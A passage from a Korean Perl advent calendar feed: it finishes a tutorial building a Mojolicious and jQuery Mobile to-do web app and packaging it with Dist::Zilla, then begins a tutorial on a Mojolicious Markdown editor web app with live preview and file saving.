하지만 앞의 과정에서 정말 중요한 것은 모듈의 원저자와 상관없이 나만의 패치를
적용시키고 소스코드와 함께 관리하는 것이 펄에서는 무척 쉽다는 점입니다.</p>
<h2>웹앱과 모바일</h2>
<p>이제 고지가 눈 앞입니다. 조금만 더 힘내보죠. :)</p>
<p>지금까지의 작업으로 데이터베이스를 이용해서 일정 관리를 할 수 있는 모듈을 만들었고,
또 그 모듈을 사용해서 명령줄에서 일정 관리를 하는 간단한 유틸리티를 만들었습니다.
이미 모듈화를 했기 때문에 웹앱으로 만들고 모바일까지 지원하는 것은 그리 어렵지 않습니다.
<a href="http://mojolicio.us/">Mojolicious</a> 웹프레임워크와 <a href="http://jquerymobile.com">jQuery 모바일</a>을
조합해서 웹과 스마트폰에서도 사용이 가능한 웹앱을 만들어 보겠습니다.</p>
<h3>설정</h3>
<p>웹앱용 설정 파일인 <code>mytodo-web.conf</code> 파일에는 <code>MyTodo</code> 모듈을 만들때
생성자에게 넘겨줄 인자를 저장하도록 하겠습니다.
파일의 내용은 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
+{
#
# mytodo
#
dsn => "dbi:SQLite:$ENV{HOME}/.mytodo/mytodo.db",
dbusername => q{},
dbpassword => q{},
dbattr => +{ sqlite_unicode => 1},
};
</pre>
<p>MySQL을 사용하거나 PostgreSQL등 다른 데이터베이스를 사용한다면
그에 적절하게 값을 변경하도록 합니다.
물론 SQLite 파일의 위치가 다르더라도 <code>dsn</code> 값을 수정해야겠지요.</p>
<h3>컨트롤러</h3>
<p><code>mytodo-web.pl</code>은 <code>Mojolicious::Lite</code> 모듈을 적재해서 웹앱으로써 동작하도록 합니다.
추가로 설정 파일을 사용하기 위해 <code>Config</code> 플러그인을 적재하고,
<a href="http://haml.info/">Haml</a>을 사용하기위해 <code>haml-renderer</code> 플러그인도 적재합니다.
그리고 지금까지 작성한 <code>MyTodo</code> 모듈을 적재하고 객체를 생성해서
웹앱이 일정관리를 할 만반의 준비를 갖추도록 합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use 5.010;
use utf8;
use Mojolicious::Lite;
use MyTodo;
plugin 'Config';
plugin 'haml_renderer';
my $mytodo = MyTodo->new(
dsn => app->config->{dsn},
dbusername => app->config->{dbusername},
dbpassword => app->config->{dbpassword},
dbattr => app->config->{dbattr},
);
app->start;
__DATA__
</pre>
<p>웹앱을 만들기 위해 작성할 컨트롤러는 <code>/</code>와 <code>/detail/:_id</code> 단 두 개입니다.</p>
<p><code>/</code> 컨트롤러는 다음과 같습니다.
<code>list</code> 렌더러(뷰)로 연결되는 점을 유의하세요.</p>
<pre class="brush: perl;">
get '/' => sub {
my $self = shift;
my $todo = $mytodo->list(
order_by => [ '-me.priority' ],
search => [{ status => 'todo' }],
);
my $doing = $mytodo->list(
order_by => [ '-me.priority' ],
search => [{ status => 'doing' }],
);
my $done = $mytodo->list(
order_by => [ '-me.priority' ],
search => [{ status => 'done' }],
);
my $all = $mytodo->list(
order_by => [ '-me.priority' ],
);
$self->render(
'list',
todo => $todo,
doing => $doing,
done => $done,
all => $all,
);
};
</pre>
<p><code>/detail/:_id</code> 컨트롤러는 다음과 같습니다.
따로 렌더러(뷰)가 없이 직접 json을 반환하는 점을 유의하세요.
Ajax를 이용한 데이터 송수신을 위해서 추가하는 컨트롤러입니다.</p>
<pre class="brush: perl;">
get '/detail/:_id' => sub {
my $self = shift;
my $id = $self->param('_id');
my $item = $mytodo->_dbix->table('mytodo')->find($id);
my $created_on = localtime($item->created_on);
my $updated_on = localtime($item->updated_on);
$self->render_json({
content => $item->content,
priority => $item->priority,
star => "\x{2605}" x $item->priority . "\x{2606}" x (5 - $item->priority),
_status => uc($item->status),
created_on => $created_on->ymd . ' ' . $created_on->hms,
updated_on => $updated_on->ymd . ' ' . $updated_on->hms,
});
};
</pre>
<h3>렌더러(뷰)</h3>
<p>뷰에서는 jQuery 모바일용 CSS와 자바스크립트를 사용합니다.
최대한 간단한 디렉터리 구조를 유지하고, 캐시 효과를 높이기 위해
직접 jQuery 모바일 관련 파일을 유지하지 않고 CDN의 자원을 사용함을 유의하세요.
로컬에서만 돌리겠다면 <code>public</code> 디렉터리를 구성한 다음 적절한 위치에
다운로드 받고 렌더러의 자원 URI를 수정해야합니다.</p>
<pre class="brush: perl;">
@@ list.html.ep
% layout 'list', navbar => 1, back => 0;
% title 'MyTodo';
<!-- CONTENT -->
@@ layouts/list.html.haml
!!! 5
%html
%head
%title= title
= include 'layouts/default/meta'
= include 'layouts/default/css'
= include 'layouts/default/js'
%body
= include 'layouts/default/items', id => 'todo', items => $todo
= include 'layouts/default/items', id => 'doing', items => $doing
= include 'layouts/default/items', id => 'done', items => $done
= include 'layouts/default/detail'
@@ layouts/default/items.html.ep
<!-- <%= uc $id %> -->
<div id="<%= $id %>" data-role="page">
%= include 'layouts/default/header', navbar => 1, new => 1
<div data-role="content">
<!-- CONTENT -->
<div data-role="fieldcontain">
<ul data-role="listview" data-split-icon="arrow-r">
% while ( my $item = $items->next ) {
<li>
<a href="#" style="padding-top: 0px;padding-bottom: 0px;padding-right: 42px;padding-left: 0px;">
<label style="border-top-width: 0px;margin-top: 0px;border-bottom-width: 0px;margin-bottom: 0px;border-left-width: 0px;border-right-width: 0px;" data-corners="false">
<fieldset data-role="controlgroup" >
<input type="checkbox" name="checkbox-2b" id="checkbox-2b" />
<label for="checkbox-2b" style="border-top-width: 0px;margin-top: 0px;border-bottom-width: 0px;margin-bottom: 0px;border-left-width: 0px;border-right-width: 0px;">
<label style="padding:0;">
<h3><%= $item->content %></h3>
</label>
</label>
</fieldset>
</label>
</a>
<a class="slide-reload" href="#detail" id="todo-item-<%= $item->id %>" data-transition="slide">Show details</a>
</li>
% }
</ul>
</div>
</div>
%= include 'layouts/default/footer'
</div>
@@ layouts/default/detail.html.ep
<!-- DETAIL -->
<div id="detail" data-role="page" data-add-back-btn="true">
%= include 'layouts/default/header', navbar => 0, new => 0
<div data-role="content">
<h1 class="todo-content"></h1>
<h2 class="todo-status"></h2>
<h2 class="todo-priority"></h2>
<div class="todo-etc"></div>
</div>
%= include 'layouts/default/footer'
</div>
@@ layouts/default/meta.html.haml
/ META
%meta{:charset => "utf-8"}
%meta{:name => "author", content => "Keedi Kim"}
%meta{:name => "description", content => "MyTodo"}
%meta{:name => "viewport", content => "width=device-width, initial-scale=1"}
@@ layouts/default/css.html.ep
<!-- CSS -->
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.css" />
@@ layouts/default/js.html.ep
<!-- Javascript -->
<script src="http://code.jquery.com/jquery-1.8.2.min.js"></script>
<script src="http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.js"></script>
<script>
$(document).ready(function() {
$('a.force-reload').live('click', function(e) {
var url = $(this).attr('href');
$.mobile.changePage( url, { reloadPage: true, transition: "none"} );
});
$('a.slide-reload').live('click', function(e) {
var url = $(this).attr('href');
var id = this.id.replace( /.*todo-item-/, "" );
$.get(
'/detail/' + id,
function(_data) {
$("#detail .todo-content").text(_data.content);
$("#detail .todo-status").text(_data._status);
$("#detail .todo-priority").text(_data.star);
$("#detail .todo-etc").text('');
$("#detail .todo-etc").append("<p>created: " + _data.created_on + "</p>");
$("#detail .todo-etc").append("<p>updated: " + _data.updated_on + "</p>");
},
'json'
);
});
});
</script>
@@ layouts/default/navbar.html.ep
<!-- NAVBAR -->
<div data-role="navbar">
<ul>
<li><a data-transition="none" class="<%= $id eq 'todo' ? 'ui-btn-active ui-state-persist' : q{} %>" href="#todo"> Todo </a></li>
<li><a data-transition="none" class="<%= $id eq 'doing' ? 'ui-btn-active ui-state-persist' : q{} %>" href="#doing"> Doing </a></li>
<li><a data-transition="none" class="<%= $id eq 'done' ? 'ui-btn-active ui-state-persist' : q{} %>" href="#done"> Done </a></li>
</ul>
</div>
@@ layouts/default/header.html.ep
<!-- HEADER -->
<div data-role="header" data-position="fixed">
% if ($new) {
<a class="force-reload" href="/" data-icon="refresh">Refresh</a>
% }
<h1><%= title %></h1>
% if ($new) {
<a href="#" data-icon="plus" class="ui-btn-right">New</a>
% }
% if ($navbar) {
%= include 'layouts/default/navbar'
% }
</div>
@@ layouts/default/footer.html.haml
/ FOOTER
</pre>
<h2 id="rocknroll">Rock 'n Roll!!</h2>
<p>모두 완료되었습니다.
다음 명령으로 웹앱을 실행할 수 있습니다.</p>
<pre class="brush: bash;">
$ PERL5LIB=lib morbo mytodo-web.pl
[Mon Dec 24 16:59:00 2012] [debug] Reading config file "/home/askdna/workspace/github/mytodo/mytodo-web.conf".
[Mon Dec 24 16:59:00 2012] [info] Listening at "http://*:3000".
Server available at http://127.0.0.1:3000.
...
</pre>
<p>이제 휴대폰을 이용해서 접속하면 다음과 같은 화면을 볼 수 있습니다.</p>
<p><img src="2012-12-23-1.png" alt="iPhone에서 접속한 첫 화면" id="iphone" /></p>
<p><em><a href="#">그림 1.</a></em> iPhone에서 접속한 첫 화면</p>
<p><img src="2012-12-23-2.png" alt="상단 네비게이션 바로 이동하는 화면" id="" /></p>
<p><em><a href="#">그림 2.</a></em> 상단 네비게이션 바로 이동하는 화면</p>
<p><img src="2012-12-23-3.png" alt="각각의 To-Do 항목의 세부 사항" id="to-do" /></p>
<p><em><a href="#">그림 3.</a></em> 각각의 To-Do 항목의 세부 사항</p>
<p><img src="2012-12-23-4.png" alt="목록 화면에서 아이템 선택" id="" /></p>
<p><em><a href="#">그림 4.</a></em> 목록 화면에서 아이템 선택</p>
<p>제법 그럴듯하죠? :)</p>
<p>사실 현재 다음 기능은 빠져 있습니다.</p>
<ul>
<li>새로운 항목 추가하기(우측 상단 New 버튼)</li>
<li>각각의 내용 수정</li>
<li>목록 화면에서 아이템 선택 후 상태 수정</li>
</ul>
<p>남은 부분은 여러분의 숙제로 남겨두도록 하죠.
<a href="http://mojolicio.us/">Mojolicious</a>와 <a href="http://jquerymobile.com">jQuery 모바일</a>
공식 문서를 참고해서 한 번 도전해보세요! :-)</p>
<h2>패키징</h2>
<p>여기까지 잘 따라왔다면 이제 패키징은 덤입니다. :-)</p>
<p><code>dist.ini</code> 파일의 <code>version</code> 항목을 <code>0.001</code>로 수정합니다.
더불어 <code>Changes</code> 파일에 지금까지 작업한 내역을 적절하게 적어 넣고,
<code>dist.ini</code>에 기입한 버전 정보를 적어줍니다.
다음은 변경 내역입니다.</p>
<pre class="brush: diff;">
diff -urN a/Changes b/Changes
--- a/Changes 2012-12-24 17:15:04.863580223 +0900
+++ b/Changes 2012-12-24 17:14:48.943579620 +0900
@@ -1,4 +1,7 @@
Release history for MyTodo
-0.XXX
- First version, released on unsuspecting world.
+0.001
+ - Add MyTodo main module
+ - Patch MooX::Options
+ - Add mytodo.pl utility
+ - Add mytodo-web.{pl|conf} web app
diff -urN a/dist.ini b/dist.ini
--- a/dist.ini 2012-12-24 17:13:22.471576343 +0900
+++ b/dist.ini 2012-12-24 17:13:48.999577347 +0900
@@ -3,7 +3,7 @@
license = Perl_5
copyright_holder = Keedi Kim
copyright_year = 2012
-version = 0.000
+version = 0.001
;[@Basic]
[@Filter]
</pre>
<p>자, 타르볼을 만들어봅시다!</p>
<pre class="brush: bash;">
$ ls
Changes bin dist.ini lib mytodo-web.conf mytodo-web.pl
$ dzil build
[DZ] beginning to build MyTodo
[DZ] guessing dist's main_module is lib/MyTodo.pm
[DZ] extracting distribution abstract from lib/MyTodo.pm
[@Filter/ExtraTests] rewriting release test xt/release/pod-coverage.t
[@Filter/ExtraTests] rewriting release test xt/release/pod-syntax.t
[DZ] writing MyTodo in MyTodo-0.001
[DZ] building archive with Archive::Tar; install Archive::Tar::Wrapper for improved speed
[DZ] writing archive to MyTodo-0.001.tar.gz
$ ls
Changes MyTodo-0.001 MyTodo-0.001.tar.gz bin dist.ini lib mytodo-web.conf mytodo-web.pl
</pre>
<p>유후~! :-D</p>
<h2>정리하며</h2>
<p>크리스마스 달력 기사라고 하기엔 무척 긴 호흡의 글이 되었네요.
어떻게 보면 짧은 기사에서 단순한 스크립트가 아닌 완전한 객체지향 모듈을 제작했습니다.
더불어 ORM을 이용해서 데이터베이스에 접속했으며, 유연한 펄 모듈 덕에
다양한 데이터베이스를 지원할 수 있었습니다.
이 모듈을 활용해서 명령줄 유틸리티를 만들었으며,
명령줄 유틸리티는 아주 다양한 옵션을 지원합니다.
또한 이를 위해 사용한 모듈은 명령줄 유틸리티가 도움말을 출력할때
순서를 지정할 수 없는 한계가 있는데, 이를 시스템에 설치한 모듈을
손대지 않고 로컬 환경에서만 적용할 수 있도록 패치도 했습니다.
마지막으로 웹과 모바일을 지원하기 위한 미려한 웹앱을 만들었고
이 때 작성했던 객체지향 모듈을 재사용해서 활용성을 높였습니다.
그리고 지금까지 작업한 모든 내용은 단 한 줄의 명령을 이용해서
릴리스용 타르볼을 만들 수도 있게 되었습니다!!
현재 POD를 이용한 문서화만이 빠져 있는데
실제 내용을 넣기 위한 모든 플레이스홀더를 이미 만들어 두었으니
문서화를 마무리하는 것도 여러분에게 맡기도록 하죠.</p>
<p>정말 놀랍지 않나요? 적어도 펄 프로그래머에게 있어 여러분이 만들 수 있는
프로그램의 한계는 여러분의 상상력에 닿아 있을 것입니다.</p>
<p>Enjoy Your Perl! ;-)</p>
<p>Don't forget <a href="https://github.com/keedi/mytodo">fork me on GitHub</a>!! ;-)</p>
2012-12-23T00:00:00+09:00keedi보면서 작성하는 마크다운 편집기http://advent.perl.kr/2012/2012-12-22.html<h2>저자</h2>
<p>skyloader - 백만년째 Perl초보 skyloader <em>at</em> gmail.com</p>
<h2>시작하면서</h2>
<p>90년대 통신 에뮬레이터를 열어 <em>쀠익--지지징-삑삑</em> 소리를 들으며
PC통신을 하던 시절에서 10년도 채 지나기도 전에 인터넷 세상으로 바뀌었죠.
인터넷 중에서도 웹이 가장 활성화 되면서 1인 1홈페이지 시대가 열렸고,
웹의 표현 언어인 HTML을 자연스럽게 접할 수 있게 되었습니다.
지금 보고 계신 <a href="http://advent.perl.kr/2012">2012년 Seoul.pm 크리스마스 달력</a> 역시 HTML로 만들어졌기 때문에,
컴퓨터 또는 모바일 환경의 브라우저를 이용해 볼 수 있는 것이죠.</p>
<p>하지만 사실 <a href="https://github.com">github</a>의 <a href="https://github.com/seoulpm/seoulpm-advent-calendar">저장소</a>를
살펴보신 분이라면 눈치채셨겠지만, 크리스마스 달력의 모든 기사는
<a href="http://en.wikipedia.org/wiki/Markdown/">마크다운</a>으로 작성되어 있습니다.
마크다운은 HTML을 표현하기 위한 한 형식이지만 쉽고 간결한 덕에,
전 세계적으로 널리 사용하고 있는 인기 있는 파일 형식입니다.
다만, 위지위그 방식이 아니기 때문에 바로바로 확인하기가 어려운 것이 단점입니다.
이러한 단점도 극복하고, 올해 크리스마스 달력 기사 작성할겸
누구나 쉽게 이용할 수 있는 마크다운 편집기 웹앱을 만들어보겠습니다. :)</p>
<h2>마크다운</h2>
<p>개발자가 아닌 일반 사람들에게는 HTML마저도 쉬운 언어는 아닙니다.
그리고 HTML을 잘 안다고 하더라도 HTML로 직접 문서를 작성하는 것은
무척이나 인내를 요하는 일이죠.
이러한 번거로움을 해결하기 위해 나온 기술 중 전세계적으로 가장 널리
쓰이고 있는 것이 바로 <a href="http://daringfireball.net/projects/markdown/">마크다운(markdown)</a>입니다.
<em>John Gruber</em>와 <em>Aaron Swartz</em>가 처음으로 제안하고 만든 마크다운은
가독성이 높은 문법을 이용해서 HTML 형식으로 쉽게 변환할 수 있는
장점을 가지며, 일반적인 텍스트 형식이기 때문에 편집기를 가리지
않는다른 특성이 있습니다.</p>
<pre class="brush: plain;">
이 문장은 H1 입니다.
=====================
이 문장은 H2 입니다.
---------------------
# 이렇게 써도 H1 입니다.
## 이렇게 쓰면 H2 입니다.
### 이건 H3 입니다.
</pre>
<p>앞에서 작성한 문자열은 다음처럼 HTML로 변환됩니다.</p>
<pre class="brush: xml;">
<h1>이 문장은 H1 입니다.</h1>
<h2>이 문장은 H2 입니다.</h2>
<h1>이렇게 써도 H1 입니다.</h1>
<h2>이렇게 쓰면 H2 입니다.</h2>
<h3>이건 H3 입니다.</h3>
</pre>
<p>이 외에도 목록과 인용, 링크, 이미지등 여러가지 기능을 손쉽게 기술할 수 있습니다.
자세한 문법은 <a href="http://daringfireball.net/projects/markdown/syntax/">마크다운 공식 홈페이지</a>와
<a href="http://en.wikipedia.org/wiki/Markdown/">위키피디아의 마크다운 페이지</a>를 참조하세요.</p>
<h2>준비물</h2>
<h3>펄 모듈</h3>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
<li><a href="https://metacpan.org/module/Text::MultiMarkdown">CPAN의 Text::MultiMarkdown 모듈</a></li>
<li><a href="https://metacpan.org/module/URI::Escape">CPAN의 URI::Escape 모듈</a></li>
<li><a href="https://metacpan.org/module/UUID::Tiny">CPAN의 UUID::Tiny 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Mojolicious Text::MultiMarkdown URI::Escape UUID::Tiny
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<code>perlbrew</code>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Mojolicious Text::MultiMarkdown URI::Escape UUID::Tiny
</pre>
<h3>부트스트랩</h3>
<p>이왕이면 다홍치마라고 동일한 기능이라면 미려한 쪽이 낫겠죠?
<em>오픈소스</em>인 <a href="http://twitter.github.com/bootstrap/">Twitter Bootstrap</a>은 웹 작업을 하는
사람들에게는 축복일 정도로 미려한 UI를 제공하므로 꼭 알아두도록 합시다.
<a href="http://twitter.github.com/bootstrap/">공식 홈페이지</a>에서 가장 최신 버전의 압축 파일을 받아둡니다.</p>
<h3 id="jquery">jQuery</h3>
<p>최근의 웹 개발에 있어 자바스크립트는 거의 필수라고 해도 과언이 아닙니다.
하지만 자바스크립트로 처음부터 모두 개발하는 것은 HTML로 웹페이지를
제작하는 것처럼 고역입니다.
저처럼 자바스크립트를 잘 모르지만, 꼭 필요한 기능이 있을때
손쉽게 많은 도움을 받을 수 있는 것이 바로 <a href="http://jquery.com/">jQuery</a>입니다.
jQuery와 구글, 스택오버플로우를 활용하면 자바스크립트에 능숙하지
않더라도 대부분의 일반적인 기능을 간단히 처리할 수 있습니다.
물론 자바스크립트를 안다면 더 다양한 기능을 활용할 수 있겠죠?
jQuery를 개발할 것은 아니므로 <a href="http://jquery.com/">공식 홈페이지</a>에서
가장 최신의 최소 용량 버전으로 받으면 됩니다.</p>
<h2>작업환경 구성하기</h2>
<p>일단 작업할 공간을 만들고 이동하죠.</p>
<pre class="brush: bash;">
$ mkdir markdown-editor
$ cd markdown-editor
</pre>
<p>이제 <a href="http://mojolicio.us/">Mojolicious</a>를 이용해서
웹앱을 만들기 위한 기본 구조를 갖춰보지요.</p>
<pre class="brush: bash;">
$ mojo generate lite_app markdown-editor.pl
</pre>
<p>문제없이 실행된다면 <code>markdown-editor.pl</code> 파일이 생성됩니다.
놀랍지만 여기까지만으로도 여러분의 장비에서 웹앱이 실행될 준비는 모두 끝났습니다.
아무런 기능은 없긴 하지만 마크다운 편집기 웹앱을 실행해볼까요?</p>
<pre class="brush: bash;">
$ morbo markdown-editor.pl
[Sun Dec 22 02:33:42 2012] [info] Listening at "http://*:3000".
Server available at http://127.0.0.1:3000.
</pre>
<p>축하합니다. 웹서버가 성공적으로 실행되었군요.
웹브라우저에서 <code>http://localhost:3000</code> 주소로 한번 접속해보세요.
다음과 같은 화면이 나오면 성공입니다.</p>
<p><img src="2012-12-22-0_r.png" alt="Mojolicious 기본 화면" id="mojolicious" />
<em>그림 1.</em> Mojolicious 기본 화면 (<a href="2012-12-22-0.png">원본</a>)</p>
<p>Mojolicious에서는 웹용 정적 파일을 <code>public</code> 디렉터리 하부에서 관리합니다.
앞서 받아놓은 부트스트랩과 jQuery 파일을 Mojolicious에서 이용할 수 있도록
<code>public</code> 디렉터리 하부에 배치해보죠.</p>
<p><img src="2012-12-22-1.png" alt="마크다운 웹앱 디렉터리 구조" id="" />
<em>그림 2.</em> 마크다운 웹앱 디렉터리 구조</p>
<p><code>mkd</code> 디렉터리는 마크다운 파일을 저장하기 위한 공간으로 미리 만들어 둡시다.</p>
<h2 id="ui">UI 화면 구성하기</h2>
<p>이젠 화면 구성을 할 차례입니다.
상단에는 네비게이션 바를 배치해 파일 저장등의 기능을 선택할 수 있도록 하고,
하단은 화면을 좌우로 나누어 <em>편집 공간</em>과 <em>HTML 미리보기 공간</em>은 배치하겠습니다.
좌측에서 입력한 내용이 어떻게 보여질지 우측에서 바로바로 확인할 수 있겠죠.</p>
<p><code>markdown-editor.pl</code> 파일의 <code>__DATA__</code> 섹션에는
Mojolicious에서 사용하는 HTML 템플릿을 저장합니다.
<code>layouts/default.html.ep</code> 섹션을 다음처럼 수정합니다.</p>
<pre class="brush: perl;">
@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<!-- Bootstrap -->
<link href="/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="navbar navbar-static-top">
<div class="navbar-inner">
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".navbar-responsive-collapse"></a>
<a class="brand" href="#">Seoul.pm Markdown Editor</a>
<div class="nav-collapse collapse navbar-responsive-collapse">
<ul class="nav">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Menu<b class="caret"></b></a>
<ul class="dropdown-menu">
<li id="save-markdown"><a href="#">Save Markdown</a></li>
<li class="divider"></li>
<li id="open-html"><a href="#" target="viewer">Open HTML at New Tab</a></li>
</ul>
</li>
</ul>
</div><!-- /.nav-collapse -->
</div>
</div><!-- /navbar-inner -->
</div><!-- /navbar -->
<%= content %>
<script src="/jquery-1.8.3.min.js"></script>
<script src="/bootstrap/js/bootstrap.min.js"></script>
</body>
</html>
</pre>
<p>이제 다시 웹브라우저에서 새로 고침을 해봅시다.</p>
<p><img src="2012-12-22-2_r.png" alt="상단 네비게이션 추가" id="" />
<em>그림 3.</em> 상단 네비게이션 추가 (<a href="2012-12-22-2.png">원본</a>)</p>
<p>상단 네비게이션 바가 잘 보이는군요!
이 기세를 몰아 좌, 우의 영역을 만들어볼까요?
<code>markdown-editor.pl</code>에 기본으로 있는 인덱스 페이지는 제거하고
<code>editor.htmp.ep</code> 페이지를 새로 생성해서 부트스트랩의 그리드 시스템을 써보죠.</p>
<pre class="brush: perl;">
@@ editor.html.ep
% layout 'default';
% title 'Seoul.pm Markdown Editor';
<div id="editor-layout" class="container">
<div class="row">
<div class="span6">
<section class="editor">
<h2>Markdown</h2>
<form>
<fieldset>
<textarea id="editor-markdown" class="span6" rows="26"></textarea>
</fieldset>
</form>
</section>
</div>
<div class="span6">
<h2>HTML</h2>
<div id="editor-html"></div>
</div>
</div>
</div>
</pre>
<p>이제 다시 웹브라우저에서 새로 고침을 해봅시다.</p>
<p><img src="2012-12-22-3_r.png" alt="하단 화면 좌우 분할" id="" />
<em>그림 4.</em> 하단 화면 좌우 분할 (<a href="2012-12-22-3.png">원본</a>)</p>
<p>이 정도면 기본적은 모양새는 갖춘 것 같습니다.
이제 남은 것은 기능 구현이군요!</p>
<h2>본격적인 기능 구현하기</h2>
<p>마크다운을 HTML로 보여주는 편집기로써 필요한 기능을 정리해보았습니다.</p>
<ul>
<li>좌측의 편집 영역에서 작성한 마크다운을 우측에 변환해서 보여주는 기능</li>
<li>작성한 마크다운을 파일로 저장</li>
<li>결과물을 답답한 반쪽 화면이 아닌 새로운 창에서 보기</li>
</ul>
<p>많은 기능은 아니지만, 그래도 이정도만 되면 제법 쓸만할 것 같네요. :)</p>
<h3 id="html">마크다운을 HTML로 변환</h3>
<p>일단 마크다운을 HTML로 변환할 때는 <code>Text::MultiMarkdown</code> 모듈을 이용합니다.
그렇다면 언제 변환을 해야할까요?
사용상의 편의를 위해 처음 페이지가 불려졌을때와
편집 영역에서 Enter 키를 눌렀을때 정도가 적당한 것 같군요.
아! 그리고 주기적으로 10초에 한 번씩 변환해주는 것도 나쁘지 않겠군요.</p>
<p>사용자가 편집하는 내용이 사라지면 안되므로 전통적인
폼 핸들링 방식으로는 무리가 있습니다.
역시 jQuery의 AJAX 기능을 이용해서 페이지 변환없이 처리해야 할 것입니다.
jQuery를 이용해서 편집 화면 내의 문자열을 가져온 후
AJAX를 이용해 POST 방식으로 <code>/convert</code>로 문자열을 보냅니다.
<code>/convert</code> 컨트롤러에서는 문자열을 HTML로 변환해서 반환하면
jQuery의 POST 응답 콜백에서 결과를 받아 우측 영역에 뿌려줍니다.
자료의 흐름은 다음과 같습니다.</p>
<ul>
<li>좌측 편집기의 <code>textarea</code> 영역</li>
<li><code>jQuery</code> <code>post()</code> 메소드</li>
<li><code>markdown-editor.pl</code>의 <code>/convert</code> 컨트롤러</li>
<li><code>jQuery</code> <code>post()</code> 메소드의 콜백 함수</li>
<li>우측 HTML 뷰어 <code>div</code> 영역</li>
</ul>
<p>이를 위해 우선 <code>markdown-editor.pl</code>에 <code>/convert</code> 컨트롤러를 만듭니다.</p>
<pre class="brush: perl;">
post '/convert' => sub {
my $self = shift;
my $html = $m->markdown( $self->param('markdown') || q{} );
return $self->render_json( { html=> $html } );
};
</pre>
<p><code>public/markdown-editor.js</code> 파일을 만들고 다음 내용을 추가합니다.</p>
<pre class="brush: jscript;">
$(document).ready(function() {
function markdown_to_html() {
var markdown = $("#editor-markdown").val();
$.post(
"/convert",
{ "markdown" : markdown },
function(data) { $("#editor-html").html(data.html); },
"json"
);
}
// converting markdown if enter is pressed
$("#editor-markdown").keyup(function(e) {
if ( e.keyCode == 13 ) {
markdown_to_html();
};
});
// timer to converting markdown for each 10 sec
var timer = setInterval(function() {
markdown_to_html();
}, 10000);
// force converting markdown when page is loading
markdown_to_html();
});
</pre>
<h3>저장하기</h3>
<p>웹브라우저가 파일 저장을 기본으로 제공하기 때문에
전통적인 웹에서 파일 저장은 어렵지 않습니다.
하지만 한 페이지 안에서 자바스크립트를 이용해
파일을 저장하게 만드는 일은 그리 쉽지만은 않습니다.
현재 간단하게 제작하는 웹앱인만큼 데이터베이스도 사용하지 않으므로
<a href="http://stackoverflow.com/questions/3499597/javascript-jquery-to-download-file-via-post-with-json-data">꼼수(hack)</a>를 써야합니다.</p>
<p>사용자가 다운로드 액션을 취할 경우 작성한 마크다운을 서버측으로 보내고
서버에서는 이 마크다운을 <code>mkd</code> 디렉터리 하부에 저장한 후 해당 파일을
다운로드할 수 있는 링크를 반환하면 jQuery로 <code>iframe</code>을 동적으로 생성해
<code>src</code> 속성에 해당 링크를 명시해서 강제로 다운로드가 가능하게 하는 방법입니다.</p>
<p><code>markdown-editor.pl</code>에 다음 내용을 추가합니다.</p>
<pre class="brush: perl;">
post '/save' => sub {
my $self = shift;
my $markdown = $self->param('markdown');
my $view = $self->param('view');
my $uuid = create_UUID_as_string();
write_file( catfile(app->home, 'mkd', $uuid), { binmode => ':utf8' }, $markdown );
return $self->render_json( { url => "/$view/$uuid" } );
};
get '/markdown/:uuid' => sub {
my $self = shift;
my $uuid = $self->param('uuid');
my $markdown = read_file( catfile(app->home, 'mkd', $uuid), binmode => ':utf8' );
$self->res->headers->header('Content-Disposition' => qq{'attachment; filename="$uuid.mkd"'});
return $self->render_text($markdown);
};
</pre>
<p>텍스트 파일을 강제로 다운로드 가능하게 하기 위해 <code>/markdown/:uuid</code>
컨트롤러에서 HTTP 응답 헤더 중 <code>Content-Disposition</code> 항목을 <code>attachemnt</code>로
조작하는 부분을 염두해서 봐주세요.
이 때 기본으로 파일명을 지정하려면 <code>filename</code> 값을 명시합니다.
자세한 내용은 HTTP 프로토콜 명세를 확인하세요.</p>
<p><code>public/markdown-editor.js</code>에 다음 내용을 추가합니다.</p>
<pre class="brush: jscript;">
function save_markdown() {
var markdown = $("#editor-markdown").val();
$.post(
"/save",
{
"markdown" : markdown,
"view" : 'markdown',
},
function(data) {
$("body").append("<iframe src='" + data.url + "' style='display: none;' ></iframe>");
},
"json"
);
}
$("#save-markdown").click(function() { save_markdown(); });
</pre>
<p><img src="2012-12-22-4_r.png" alt="저장하기" id="" />
<em>그림 5.</em> 저장하기 (<a href="2012-12-22-4.png">원본</a>)</p>
<p>파일 이름을 UUID로 지정해서 조금 복잡해 보이지만 어쨌든 잘 동작합니다!
로그인 기능을 구현하지 않고, 데이터베이스를 사용하지도 않기 때문에
가능하면 중복된 경우를 없애기 위해서 UUID를 사용하고 있습니다만
더 좋은 방법이 있다면 개선해보는 것도 좋겠지요.</p>
<h3>새로운 탭에서 열기</h3>
<p>요즘 대부분의 모니터와 노트북 화면의 가로가 충분히 넓기 때문에
좌우로 나누어 작업하는데 큰 무리가 없을 것입니다.
하지만 최종 결과물이 화면에 어떻게 뿌려지는지 제대로 확인할 수 있다면 더 좋겠지요.
그래서 새 창에서 HTML 결과물을 보여주는 기능을 넣어보겠습니다.
브라우저의 설정에 따라 새 창 또는 새 탭에서 보일 것입니다.</p>
<p>방법은 마크다운 파일 저장과 거의 비슷합니다.
마크다운 파일을 <code>mkd</code> 디렉터리에 저장하는 것까지는 동일합니다.
그 뒤 마크다운 파일을 유추할 수 있는 정보(UUID) 콜백으로 보내면
jQuery에서 새로운 창(target)에 HTML을 갱신시키는 방법입니다.
